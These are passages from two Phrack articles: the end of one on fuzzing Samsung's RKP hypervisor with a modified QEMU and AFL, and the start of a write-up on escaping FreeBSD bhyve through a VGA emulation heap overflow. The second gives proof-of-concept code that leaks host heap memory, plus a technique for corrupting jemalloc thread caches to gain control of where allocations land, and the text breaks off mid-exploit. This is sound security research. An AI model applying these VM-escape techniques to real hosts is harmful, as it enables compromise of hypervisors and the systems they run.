As shown next, if an abort exception is triggered (60) we terminate child process with exit status ‑1, which AFL is modified to treat as a crash (62). Additionally, we skip the crash logging function to avoid cluttering the system with logs due to high execution speeds as shown next.

// qemu/target/arm/helper.c

/* Handle a CPU exception for A and R profile CPUs.

...

*/

void arm_cpu_do_interrupt(CPUState *cs)

{

...

// Handle the instruction or data abort

if (cs‑>exception_index == EXCP_PREFETCH_ABORT || /* (60) */

cs‑>exception_index == EXCP_DATA_ABORT ) {

/*

* since we are executing in afl, avoid flooding system with crash * logs and instead terminate here

*

* comment out to see abort logs

*/

exit(‑1);

if(handle_abort(cs, env) == ‑1) {

}

...

exit(‑1);

}

...

}

// afl/afl‑fuzz.c

static u8 run_target(char** argv, u32 timeout) {

...

/*

* Policy violation (type of assertion), treat as hang */

if(qemu_mode > 1 && WEXITSTATUS(status) == 32) {

return FAULT_TMOUT; /61) */

}

/* treat all non‑zero return values from qemu system as a crash */

if(qemu_mode > 1 && WEXITSTATUS(status) != 0) {

return FAULT_CRASH; /62) */

}

}

Furthermore, we chose to treat `rkp_policy_violation()` as a system hang by terminating the child with status 32 (63) which is then identified by AFL (61). Additionally, `vmm_panic()` (64) is treated as a crash. As we previously said, this solution does not scale well because of systems where not all possible hangs can be identified. However, AFL sets watchdog timers for each child execution and if the timer is triggered, the child is terminated. This is the reason we chose to have unhandled `smc` invocations and other unexpected exceptions to loop indefinitely. They might have a small impact in fuzzing performance (loop until timer is triggered) but otherwise allow for a stable system setup.

In essence this setup allows for flexibility regarding the way we handle aborts, hangs and generally all erroneous system states, with a failsafe mechanism that guarantees the fuzzing setup robustness even when not all system behavior corner cases have been accounted for. As our understanding of the system improves, more of theses conditions can be incorporated in the fuzzing logic.

// qemu/accel/tcg/cpu‑exec.c

static inline TranslationBlock *tb_find(CPUState *cpu, ...)

{

...

if (pc == 0xB010DBA4) { // rkp_policy_violation

qemu_log("[!] POLICY VIOLATION!!! System Reset!\n");

exit(32); 63) */

}

if (pc == 0xB010A4CC) { // vmm_panic

qemu_log("[!] VMM PANIC!!! We should not be here!!!\n"); /* (64) */

exit(‑1);

}

...

}

‑‑‑‑‑‑‑‑[ 3.3.2.5 ‑ Demonstration

We illustrate (show off ;) below an execution snapshot. We can see the fuzzer operating on average at 350‑400 executions per second, identifying new paths and crashes, even with our naive fuzzing harness. Lastly, reading one of the crashes reveals the faulting command id 0x9b ;)

american fuzzy lop 2.56b‑athallas (qemu‑system‑aarch64)

‑‑ process timing ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ overall results ‑‑‑‑‑

| run time : 0 days, 0 hrs, 0 min, 38 sec | cycles done : 0 | | last new path : 0 days, 0 hrs, 0 min, 2 sec | total paths : 22 | | last uniq crash : 0 days, 0 hrs, 0 min, 24 sec | uniq crashes : 4 | | last uniq hang : 0 days, 0 hrs, 0 min, 13 sec | uniq hangs : 5 | |‑ cycle progress ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ map coverage ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| | now processing : 7 (31.82%) | map density : 0.44% / 0.67% | | paths timed out : 0 (0.00%) | count coverage : 1.49 bits/tuple | |‑ stage progress ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ findings in depth ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| | now trying : havoc | favored paths : 13 (59.09%) | | stage execs : 630/2048 (30.76%)| new edges on : 15 (68.18%) | | total execs : 13.3k | total crashes : 134 (4 unique) | | exec speed : 375.3/sec | total tmouts : 835 (5 unique) | |‑ fuzzing strategy yields ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ path geometry ‑‑‑‑‑‑‑| | bit flips : 7/256, 6/248, 3/232 | levels : 4 | | byte flips : 0/32, 0/24, 0/8 | pending : 15 | | arithmetics : 5/1790, 1/373, 0/35 | pend fav : 7 | | known ints : 2/155, 0/570, 0/331 | own finds : 20 | | dictionary : 0/0, 0/0, 0/0 | imported : n/a | | havoc : 0/8448, 0/0 | stability : 100.00% |

| trim : 98.77%/13, 0.00% |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑cpu000:109%]

$ xxd ‑e ‑g4 out/crashes/id:000000,sig:00,src:000000,op:flip2,pos:1

00000000: 8389b000

‑‑‑‑[ 3.4 ‑ Final Comments

Using the proposed framework, we have demonstrated a naive fuzzing setup and an advanced setup employing AFL based on TriforceAFL while elaborating on QEMU internals.

The proposed solutions can be easily modified to support other setups with full system emulation and in different ELs or security states as well. For example, let's assume the desired target is an EL3 implementation and we wish to fuzz early initialization functionality before interaction with other components or ELs. We can achieve this by identifying the desired location by address similarly to `rkp_policy_violation` and injecting the `start_forkserver` and any other required functionality to that specific location. This is similarly true for trusted OSs and applications.

Finally, one of the AFL limitations is the lack of state awareness. After each testcase the framework/guest VM state is reset for the new testcase to be executed. This of course prevents us from finding bugs which depend on more than one `hvc` invocations. A possible solution could be to build harnesses that support such functionality, even though this is not the intended AFL usage and as such it is not guaranteed to have good results. It remains to be verified and other fuzzing solutions could also be examined for state aware fuzzing.

‑‑[ 4 ‑ Conclusions

The author hopes that this article has been useful to readers who dedicated the time to read it, did not lose motivation despite its size and of course maintained their sanity :) Even though though we attempted to make this (very long) article as complete as possible, there is always room for improvement of both the presented solutions and new features or supported functionalities, as is true with every similar project. Readers are welcome and encouraged to extend/improve the proposed solution or, using the newly found knowledge, develop their own and publish their results.

‑‑[ 5 ‑ Thanks

First of all, I would like to thank the Phrack Staff for being very accommodating with my various requests and for continuing to deliver such awesome material! This work would have been very different without huku's insightful comments, his very helpful review and him being available to bounce ideas off of. Thanks to argp as well for his helpful review and assistance with various procedural issues. Also, cheers to friends from CENSUS and finally to the many other friends who helped me one way or another through this very demanding journey.

Remember, support your local artists, beat your (not only) local fascists, stand in solidarity with the oppressed. Take care.

‑‑[ 6 ‑ References

[01] https://www.samsungknox.com/en

[02] https://www.samsungknox.com/en/blog/real‑time‑kernel‑protection‑rkp

[03] https://googleprojectzero.blogspot.com/2017/02/

lifting‑hyper‑visor‑bypassing‑samsungs.html

[04] https://opensource.samsung.com/

[05] http://infocenter.arm.com/help/

index.jsp?topic=/com.arm.doc.den0028b/index.html

[06] https://hernan.de/blog/2018/10/30/

super‑hexagon‑a‑journey‑from‑el0‑to‑s‑el3/

[07] https://github.com/google/AFL/

blob/v2.56b/docs/technical_details.txt#L516

[08] https://github.com/nccgroup/TriforceAFL

[09] https://github.com/nccgroup/TriforceAFL/

blob/master/docs/triforce_internals.txt

‑‑[ 7 ‑ Source code

begin 664 rkp‑emu‑fuzz‑galore.tar.gz M'XL(`‑7*,5X``^P\:W?:2++YS*_HL:_'R`‑8XF$GSB1[,,B)3K#Q()S'S.0H end

Tale of two hypervisor bugs - Escaping from FreeBSD bhyve

==Phrack Inc.==

Volume 0x10, Issue 0x46, Phile #0x0b of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑=[ Tale of two hypervisor bugs ‑ Escaping from FreeBSD bhyve ]=‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Reno Robert ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ @renorobertr ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Table of contents

1 ‑ Introduction

2 ‑ Vulnerability in VGA emulation

3 ‑ Exploitation of VGA bug

3.1 ‑ Analysis of memory allocations in heap

3.2 ‑ ACPI shutdown and event handling

3.3 ‑ Corrupting tcache_s structure

3.4 ‑ Discovering base address of guest memory

3.5 ‑ Out of bound write to write pointer anywhere using unlink 3.6 ‑ MMIO emulation and RIP control methodology 3.7 ‑ Faking arena_chunk_s structure for arbitrary free 3.8 ‑ Code execution using MMIO vCPU cache

4 ‑ Other exploitation strategies

4.1 ‑ Allocating a region into another size class for free() 4.2 ‑ PMIO emulation and corrupting inout_handlers structures 4.3 ‑ Leaking vmctx structure

4.4 ‑ Overwriting MMIO Red‑Black tree node for RIP control 4.5 ‑ Using PCI BAR decoding for RIP control

5 ‑ Notes on ROP payload and process continuation

6 ‑ Vulnerability in Firmware Configuration device

7 ‑ Exploitation of fwctl bug

7.1 ‑ Analysis of memory layout in bss segment

7.2 ‑ Out of bound write to full process r/w

8 ‑ Sandbox escape using PCI passthrough

9 ‑ Analysis of CFI and SafeStack in HardenedBSD 12‑CURRENT 9.1 ‑ SafeStack bypass using neglected pointers

9.2 ‑ Registering arbitrary signal handler using ACPI shutdown 10 ‑ Conclusion

11 ‑ References

12 ‑ Source code and environment details

‑‑[ 1 ‑ Introduction

VM escape has become a popular topic of discussion over the last few years. A good amount of research on this topic has been published for various hypervisors like VMware, QEMU, VirtualBox, Xen and Hyper‑V. Bhyve is a hypervisor for FreeBSD supporting hardware‑assisted virtualization. This paper details the exploitation of two bugs in bhyve ‑ FreeBSD‑SA‑16:32.bhyve [1] (VGA emulation heap overflow) and CVE‑2018‑17160 [21] (Firmware Configuration device bss buffer overflow) and some generic techniques which could be used for exploiting other bhyve bugs. Further, the paper also discusses sandbox escapes using PCI device passthrough, and Control‑Flow Integrity bypasses in HardenedBSD 12‑CURRENT

‑‑[ 2 ‑ Vulnerability in VGA emulation

FreeBSD disclosed a bug in VGA device emulation FreeBSD‑SA‑16:32.bhyve [1] found by Ilja van Sprundel, which allows a guest to execute code in the host. The bug affects virtual machines configured with 'fbuf' framebuffer device. The below patch fixed the issue:

struct {

uint8_tdac_state;

‑intdac_rd_index;

‑intdac_rd_subindex;

‑intdac_wr_index;

‑intdac_wr_subindex;

+uint8_tdac_rd_index;

+uint8_tdac_rd_subindex;

+uint8_tdac_wr_index;

+uint8_tdac_wr_subindex;

uint8_tdac_palette[3 * 256];

uint32_tdac_palette_rgb[256];

} vga_dac;

The VGA device emulation in bhyve uses 32‑bit signed integer as DAC Address Write Mode Register and DAC Address Read Mode Register. These registers are used to access the palette RAM, having 256 entries of intensities for each value of red, green and blue. Data in palette RAM can be read or written by accessing DAC Data Register [2][3].

After three successful I/O access to red, green and blue intensity values, DAC Address Write Mode Register or DAC Address Read Mode Register is incremented automatically based on the operation performed. Here is the issue, the values of DAC Address Read Mode Register and DAC Address Write Mode Register does not wrap under index of 256 since the data type is not 'uint8_t', allowing an untrusted guest to read or write past the palette RAM into adjacent heap memory.

The out of bound read can be achieved in function vga_port_in_handler() of vga.c file:

case DAC_DATA_PORT:

*val = sc‑>vga_dac.dac_palette[3 * sc‑>vga_dac.dac_rd_index + sc‑>vga_dac.dac_rd_subindex]; sc‑>vga_dac.dac_rd_subindex++;

if (sc‑>vga_dac.dac_rd_subindex == 3) { sc‑>vga_dac.dac_rd_index++; sc‑>vga_dac.dac_rd_subindex = 0;

}

The out of bound write can be achieved in function vga_port_out_handler() of vga.c file:

case DAC_DATA_PORT:

sc‑>vga_dac.dac_palette[3 * sc‑>vga_dac.dac_wr_index + sc‑>vga_dac.dac_wr_subindex] = val; sc‑>vga_dac.dac_wr_subindex++;

if (sc‑>vga_dac.dac_wr_subindex == 3) { sc‑>vga_dac.dac_palette_rgb[sc‑>vga_dac.dac_wr_index] = . . .

. . . sc‑>vga_dac.dac_wr_index++; sc‑>vga_dac.dac_wr_subindex = 0;

}

The vulnerability provides very powerful primitives ‑ both read and write access to heap memory of the hypervisor user space process. The only issue is, after writing to dac_palette, the RGB value is encoded and written to the adjacent dac_palette_rgb array as a single value. This corruption can be corrected during the subsequent writes to dac_palette array since dac_palette_rgb is placed next to dac_palette during the linear write. But if the corrupted memory is used before correction, the bhyve process could crash. Such an issue was not faced during the development of exploit under FreeBSD 11.0‑RELEASE‑p1 r306420

‑‑[ 3 ‑ Exploitation of VGA bug

Though FreeBSD does not have ASLR, it is necessary to understand the process memory layout, the guest features which allow allocation and deallocation of heap memory in the host process and the ideal structures to corrupt for gaining reliable exploit primitives. This section provides an in‑depth analysis of the exploitation of heap overflow to achieve arbitrary code execution in the host.

‑‑‑‑[ 3.1 ‑ Analysis of memory allocations in heap

FreeBSD uses jemalloc allocator for dynamic memory management. Research done by huku, argp and vats on jemalloc [4][5][6], provides great insights into the allocator. Understanding the details provided in paper Pseudomonarchia jemallocum [4] is essential for following many parts of section 3. The jemalloc used in FreeBSD 11.0‑RELEASE‑p1 is slightly different from the one described in papers [4][5], however, the core design and exploitation techniques remain the same.

The user space bhyve process is multi‑threaded, and hence multiple thread caches are used by jemalloc. The threads of prime importance for this study are 'mevent' and 'vcpu N', where N is the vCPU number. 'mevent' thread is the main thread which does all the initialization as part of main() function in bhyverun.c file:

int

main (int argc, char *argv[])

{

memsize = 256 * MB;

. . .

case 'm':

error = vm_parse_memsize(optarg, &memsize); . . .

vm_set_memflags(ctx, memflags);

err = vm_setup_memory(ctx, memsize, VM_MMAP_ALL); . . .

if (init_pci(ctx) != 0)

. . .

fbsdrun_addcpu(ctx, BSP, BSP, rip);

. . .

mevent_dispatch();

. . .

}

The first allocation of importance is the guest physical memory, mapped into the address space of the bhyve process. A preconfigured memory of 256MB is allocated to any virtual machine. A VM can also be configured with more memory using '‑m' parameter. The guest physical memory map along with the system memory looks like below (found in pci_emul.c):

/*

* The guest physical memory map looks like the following:

* [0, lowmem)guest system memory

* [lowmem, lowmem_limit)memory hole (may be absent)

* [lowmem_limit, 0xE0000000)PCI hole (32‑bit BAR

* allocation)

* [0xE0000000, 0xF0000000)PCI extended config window

* [0xF0000000, 4GB)LAPIC, IOAPIC, HPET,

* firmware

* [4GB, 4GB + highmem)

*/

Here the lowmem_limit can be a maximum value up to 3GB. Guest system memory is mapped into the bhyve process by calling mmap(). Along with the requested size of guest system memory, 4MB (VM_MMAP_GUARD_SIZE) guard pages are allocated before and after the virtual address space of the guest system memory. The vm_setup_memory() API in lib/libvmmapi/vmmapi.c performs the mentioned operation as below:

int

vm_setup_memory(struct vmctx *ctx, size_t memsize, enum vm_mmap_style vms) {

. . .

/*

* If 'memsize' cannot fit entirely in the 'lowmem' segment then * create another 'highmem' segment above 4GB for the remainder. */

if (memsize > ctx‑>lowmem_limit) { ctx‑>lowmem = ctx‑>lowmem_limit; ctx‑>highmem = memsize ‑ ctx‑>lowmem_limit; objsize = 4*GB + ctx‑>highmem;

} else {

ctx‑>lowmem = memsize; ctx‑>highmem = 0;

objsize = ctx‑>lowmem;

}

/*

* Stake out a contiguous region covering the guest physical * memory

* and the adjoining guard regions.

*/

len = VM_MMAP_GUARD_SIZE + objsize + VM_MMAP_GUARD_SIZE; flags = MAP_PRIVATE | MAP_ANON | MAP_NOCORE | MAP_ALIGNED_SUPER; ptr = mmap(NULL, len, PROT_NONE, flags, ‑1, 0); . . .

baseaddr = ptr + VM_MMAP_GUARD_SIZE;

. . .

ctx‑>baseaddr = baseaddr;

. . .

}

Once the contiguous allocation for guest physical memory is made, the pages are later marked as PROT_READ | PROT_WRITE and mapped into the guest address space. The 'baseaddr' is the virtual address of guest physical memory.

The next interesting allocation is made during the initialization of virtual PCI devices. The init_pci() call in main() initializes all the device emulation code including the framebuffer device. The framebuffer device performs initialization of the VGA structure 'vga_softc' in vga.c file as below:

void *

vga_init(int io_only)

{

struct inout_port iop;

struct vga_softc *sc;

int port, error;

sc = calloc(1, sizeof(struct vga_softc));

. . .

}

struct vga_softc {

struct mem_range mr;

. . .

struct {

uint8_t. dac_state;

int dac_rd_index; int dac_rd_subindex; int dac_wr_index; int dac_wr_subindex; uint8_t dac_palette[3 * 256]; uint32_t dac_palette_rgb[256];

} vga_dac;

};

The 'vga_softc' structure (2024 bytes) where the overflow happens is allocated as part of tcache bin, servicing regions of size 2048 bytes. The framebuffer device also performs a few allocations as part of the remote framebuffer server, however, these are not significant for the exploitation of the bug.

Next, let's analyze the memory between vga_softc structure and the guest physical memory guard page to identify any interesting structures to corrupt or leak. Since the out of bounds read/write is linear, guest can only leak information until the guard page for now. The file readmemory.c in the attached code reads the bhyve heap memory from an Ubuntu 14.04.5 LTS guest operating system.

‑‑‑[ readmemory.c ]‑‑‑

. . .

iopl(3);

warnx("[+] Reading bhyve process memory..."); chunk_lw_size = getpagesize() * PAGES_TO_READ; chunk_lw = calloc(chunk_lw_size, sizeof(uint8_t));

outb(0, DAC_IDX_RD_PORT);

for (int i = 0; i < chunk_lw_size; i++) { chunk_lw[i] = inb(DAC_DATA_PORT);

}

for (int index = 0; index < chunk_lw_size/8; index++) { qword = ((uint64_t *)chunk_lw)[index]; if (qword > 0) { warnx("[%06d] => 0x%lx", index, qword); }

}

. . .

Running the code in the guest leaks a bunch of heap pointers as below:

root@linuxguest:~/setupA/readmemory# ./readmemory

. . .

readmemory: [128483] => 0x801b6f000

readmemory: [128484] => 0x801b6f000

readmemory: [128486] => 0xe4000000b5

readmemory: [128489] => 0x100000000

readmemory: [128491] => 0x801b6fb88

readmemory: [128493] => 0x100000000

readmemory: [128495] => 0x801b701c8

readmemory: [128497] => 0x100000000

readmemory: [128499] => 0x801b70808

readmemory: [128501] => 0x100000000

readmemory: [128503] => 0x801b70e48

. . .

After some analysis, it is realized that this is tcache_s structure used by jemalloc. Inspecting the memory with gdb provides further details:

(gdb) info threads

Id Target Id Frame

* 1 LWP 100185 of process 4891 "mevent" 0x000000080121198a in _kevent () * from /lib/libc.so.7

. . .

12 LWP 100198 of process 4891 "vcpu 0" 0x00000008012297da in ioctl () from /lib/libc.so.7

(gdb) thread 12

[Switching to thread 12 (LWP 100198 of process 4891)]

#0 0x00000008012297da in ioctl () from /lib/libc.so.7

(gdb) print *((struct tsd_s *)($fs_base‑160))

$21 = {state = tsd_state_nominal, tcache = 0x801b6f000, thread_allocated = 2720, thread_deallocated = 2464, prof_tdata = 0x0, iarena = 0x801912540, arena = 0x801912540,

arenas_tdata = 0x801a1b040, narenas_tdata = 8, arenas_tdata_bypass = false, tcache_enabled = tcache_enabled_true, __je_quarantine = 0x0, witnesses = {qlh_first = 0x0},

witness_fork = false}

For any thread, the thread‑specific data is located at an address pointed by $fs_base‑160. The tcache address can be found by inspecting 'tsd_s' structure. The 'vcpu 0' thread's tcache structure is the one that the guest could access using the VGA bug. This can be confirmed by gdb:

(gdb) print *(struct tcache_s *)0x801b6f000

$1 = {link = {qre_next = 0x801b6f000, qre_prev = 0x801b6f000}, prof_accumbytes = 0, gc_ticker = {tick = 181, nticks = 228}, next_gc_bin = 0, tbins = {{tstats = {nrequests = 0},

low_water = 0, lg_fill_div = 1, ncached = 0, avail = 0x801b6fb88}}}

Since tcache structure is accessible, the tcache metadata can be corrupted as detailed in [4] for further exploitation. The heap layout was further analyzed under multiple CPU configurations as below:

‑ Guest with single vCPU and host with single CPU

‑ Guest with single vCPU and host with more than one CPU core

‑ Guest with more than one vCPU and host with more than one CPU core

Some of the observed changes are

‑ The number of jemalloc arenas is 4 times the number of CPU core available. When the number of CPU core changes, the heap layout also changes marginally. I say marginally because tcache structure can still be reached from the 'vga_softc' structure during the overflow ‑ When there is more than one vCPU, each vCPU thread has its own thread caches (tcache_s). The thread caches of vCPU's are placed one after the other.

The thread cache structures of vCPU threads are allocated in the same chunk as that of vga_softc structure managed by arena[0]. During a linear overflow, the first tcache_s structure to get corrupted is that of vCPU0. Since vCPU0 is always available under any configuration, it is a reliable target to corrupt. The CPU affinity of exploit running in the guest should be set to vCPU0 to ensure corrupted structures are used during the execution of the exploit. To summarize, the heap layout looks like below:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

| +‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑+

| |vga_softc| |tcache_s| |tcache_s|.....|tcache_s| | Guard | Guest | | | | | vCPU0 | | vCPU1 | | vCPUX | | Page | Memory |

| +‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑+

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This memory layout is expected to be consistent for a couple of reasons. First, the jemalloc chunk of size 2MB is mapped by the allocator when bhyve makes its first allocation request during _libpthread_init() ‑> _thr_alloc() ‑> calloc(). This further goes through a series of calls tcache_create() ‑> ipallocztm() ‑> arena_palloc() ‑> arena_malloc() ‑> arena_malloc_large() ‑> arena_run_alloc_large() ‑> arena_chunk_alloc() ‑> chunk_alloc_core() ‑> chunk_alloc_mmap() ‑> pages_map() ‑> mmap() (some of the functions are skipped and library‑private functions will have a prefix __je_ to their function names). The guest memory mapped using vm_setup_memory() during bhyve initialization will occupy the memory region right after this jemalloc chunk due to the predictable mmap() behaviour. Second, the 'vga_softc' structure will occupy a lower memory address in the chunk compared to that of 'tcache_s' structures because jemalloc allocates 'tcache_s' structures using tcache_create() (serviced as large allocation request of 32KB in this case) only when the vCPU threads make an allocation request. Allocation of 'vga_softc' structure happens much earlier in the initialization routine compared to the creation of vCPU threads by fbsdrun_addcpu().

‑‑‑‑[ 3.2 ‑ ACPI shutdown and event handling

Next task is to find a feature which allows the guest to trigger an allocation or deallocation after corrupting the tcache metadata. Inspecting each of the bins, an interesting allocation was found in tbins[4]:

(gdb) print ((struct tcache_s *)0x801b6f000)‑>tbins[4]

$2 = {tstats = {nrequests = 1}, low_water = ‑1, lg_fill_div = 1, ncached = 63, avail = 0x801b71248}

(gdb) x/gx 0x801b71248‑64*8

0x801b71048:0x0000000813c10000

(gdb) x/5gx 0x0000000813c10000

0x813c10000:0x00000000004303800x000000000000000f

0x813c10010:0x00000000000000030x0000000801a15080

0x813c10020:0x0000000100000000

(gdb) x/i 0x0000000000430380

0x430380 <power_button_handler>:push %rbp

(gdb) print *(struct mevent *)0x0000000813c10000

$3 = {me_func = 0x430380 <power_button_handler>, me_fd = 15, me_timid = 0, me_type = EVF_SIGNAL, me_param = 0x801a15080, me_cq = 0, me_state = 1, me_closefd = 0, me_list = {

le_next = 0x801a15100, le_prev = 0x801a15430}}

bhyve emulates access to I/O port 0xB2 (Advanced Power Management Control port) to enable and disable ACPI virtual power button. A handler for SIGTERM signal is registered through FreeBSD's kqueue mechanism [7].

'mevent' is a micro event library based on kqueue for bhyve found in mevent.c. The library exposes a set of API for registering and modifying events. The main 'mevent' thread handles all the events. The mevent_dispatch() function called from main() dispatches to the respective event handlers when an event is reported. The two notable API's of interest for the exploitation of this bug are mevent_add() and mevent_delete(). Let's see how the 0xB2 I/O port handler in pm.c uses the mevent library:

static int

smi_cmd_handler(struct vmctx *ctx, int vcpu, int in, int port, int bytes, uint32_t *eax, void *arg)

{

. . .

switch (*eax) {

case BHYVE_ACPI_ENABLE:

. . .

if (power_button == NULL) { power_button = mevent_add(SIGTERM, EVF_SIGNAL, power_button_handler, ctx); old_power_handler = signal(SIGTERM, SIG_IGN); }

break;

case BHYVE_ACPI_DISABLE:

. . .

if (power_button != NULL) { mevent_delete(power_button); power_button = NULL; signal(SIGTERM, old_power_handler); }

break;

}

. . .

}

Writing the value 0xa0 (BHYVE_ACPI_ENABLE) will trigger a call to mevent_add() in mevent.c. mevent_add() function allocates a mevent structure using calloc(). The events that require addition, update or deletion are maintained in a list pointed by the list head 'change_head'. The elements in the list are doubly linked.

struct mevent *

mevent_add(int tfd, enum ev_type type,

void (*func)(int, enum ev_type, void *), void *param) {

. . .

mevp = calloc(1, sizeof(struct mevent));

. . .

mevp‑>me_func = func;

mevp‑>me_param = param;

LIST_INSERT_HEAD(&change_head, mevp, me_list); . . .

}

struct mevent {

void(*me_func)(int, enum ev_type, void *);

. . .

LIST_ENTRY(mevent) me_list;

};

#defineLIST_ENTRY(type)\

struct {\

struct type *le_next;/* next element */\

struct type **le_prev;/* address of previous next element */\

}

Similarly, writing a value 0xa1 (BHYVE_ACPI_DISABLE) will trigger a call to mevent_delete() in mevent.c. mevent_delete() unlinks the event from the list using LIST_REMOVE() and marks it for deletion by mevent thread:

static int

mevent_delete_event(struct mevent *evp, int closefd)

{

. . .

LIST_REMOVE(evp, me_list);

. . .

}

#define LIST_NEXT(elm, field)((elm)‑>field.le_next)

#define LIST_REMOVE(elm, field) do { \

. . .

if (LIST_NEXT((elm), field) != NULL) \

LIST_NEXT((elm), field)‑>field.le_prev =

\

(elm)‑>field.le_prev;

\

*(elm)‑>field.le_prev = LIST_NEXT((elm), field); \ . . .

} while (0)

To summarize, guest can allocate and deallocate a mevent structure having function and list pointers. The allocation requests are serviced by thread cache of vCPU threads. CPU affinity could be set for the exploit code, to force allocations from a vCPU thread of choice. i.e. vCPU0 as seen in the previous section. Corrupting the 'tcache_s' structure of vCPU0, would allow us to control where the mevent structure gets allocated.

‑‑‑‑[ 3.3 ‑ Corrupting tcache_s structure

'tcache_s' structure has an array of tcache_bin_s structures. tcache_bin_s has a pointer (void **avail) to an array of pointers to pre‑allocated memory regions, which services allocation requests of a fixed size.

typedef struct tcache_s tcache_t;

struct tcache_s {

struct {

tcache_t *qre_next;

tcache_t *qre_prev;

} link;

uint64_t prof_accumbytes;

ticker_t gc_ticker;

szind_t next_gc_bin;

tcache_bin_t tbins[1];

}

struct tcache_bin_s {

tcache_bin_stats_t tstats;

int low_water;

unsigned int lg_fill_div;

unsigned int ncached;

void **avail;

}

As seen in section 2.1.7 and 3.3.3 of paper Pseudomonarchia jemallocum [4] and [6], it is possible to return an arbitrary address during allocation by corrupting thread caches. 'ncached' is the number of cached free memory regions available for allocation. When an allocation is requested, it is fetched as avail[‑ncached] and 'ncached' gets decremented. Likewise, when an allocation is freed, 'ncached' gets incremented, and the pointer is added to the free list as avail[‑ncached] = ptr. The allocation requests for 'mevent' structure with size 0x40 bytes is serviced by tbin[4].avail pointers. The 'vga_softc' out of bound read can first leak the heap memory including the 'tcache_s' structure. Then the out of bound write can be used to overwrite the pointers to free memory regions pointed by 'avail'. By leaking and rewriting memory, we make sure parts of memory other than thread caches are not corrupted. To be specific, it is only needed to overwrite tbins[4].avail[‑ncached] pointer before invoking mevent_add(). On a side note, the event marked for deletion by mevent_delete() is freed by mevent thread and not by vCPU0 thread. Hence the freed pointer never makes into tbins[4].avail array of vCPU0 thread cache but becomes available in mevent thread cache.

When calloc() request is made to allocate mevent structure in mevent_add(), it uses the overwritten pointers of tcache_s structure. This forces the mevent structure to be allocated at the arbitrary guest‑controlled address. Though the mevent structure can be allocated at an arbitrary address, we do not have control over the contents written to it to turn this into a write‑anything‑anywhere.

In order to modify the contents of mevent structure, one solution is to allocate the structure into the guest system memory, mapped in the bhyve process. Since this memory is accessible to the guest, the contents can be directly modified from within the guest. The other solution is to allocate the structure adjacent to the 'vga_softc' structure, use the out of bound write again, to modify the content. The later technique will be discussed in section 4.

The current approach to determine the 'tcache_s' structure in the leaked memory is a signature‑based search using 'tcache_s' definition implemented as find_jemalloc_tcache() in the PoC. It is observed that the link pointers 'qre_next' and 'qre_prev' are page‑aligned since 'tcache_s' allocations are page‑aligned. Moreover, there are other valid pointers such as tbins[index].avail, which can be used as signatures. When a possible 'tcache_s' structure is located in memory, the tbins[4].avail pointer is fetched for further analysis. Next part of this approach is to locate the array of pointers in memory which tbins[4].avail points to, by searching for a sequence of values varying by 0x40 (mevent allocation size). Once the offset to avail pointer array from 'vga_softc' structure is known, we can precisely overwrite tbin[4].avail[‑ncached] to return an arbitrary address. The 'vga_softc' address can be roughly calculated as tbins[4].avail ‑ (number of entries in avail * sizeof(void *)) ‑ offset to avail array from 'vga_softc' structure. tcache_create() function in tcache.c gives a clear understanding of tcache_s allocation and avail pointer assignment:

tcache_t *

tcache_create(tsdn_t *tsdn, arena_t *arena)

{

. . .

size = offsetof(tcache_t, tbins) + (sizeof(tcache_bin_t) * nhbins); /* Naturally align the pointer stacks. */

size = PTR_CEILING(size);

stack_offset = size;

size += stack_nelms * sizeof(void *);

/* Avoid false cacheline sharing. */

size = sa2u(size, CACHELINE);

tcache = ipallocztm(tsdn, size, CACHELINE, true, NULL, true, arena_get(TSDN_NULL, 0, true));

. . .

for (i = 0; i < nhbins; i++) { tcache‑>tbins[i].lg_fill_div = 1; stack_offset += tcache_bin_info[i].ncached_max * sizeof(void *);

/*

* avail points past the available space. Allocations will * access the slots toward higher addresses (for the

* benefit of prefetch).

*/

tcache‑>tbins[i].avail = (void **)((uintptr_t)tcache + (uintptr_t)stack_offset);

}

return (tcache);

}

The techniques to locate 'tcache_s' structure has lot more scope for improvement and further study in terms of the signature used or leaking 'tcache_s' base address directly from link pointers when qre_next == qre_prev

‑‑‑‑[ 3.4 ‑ Discovering base address of guest memory

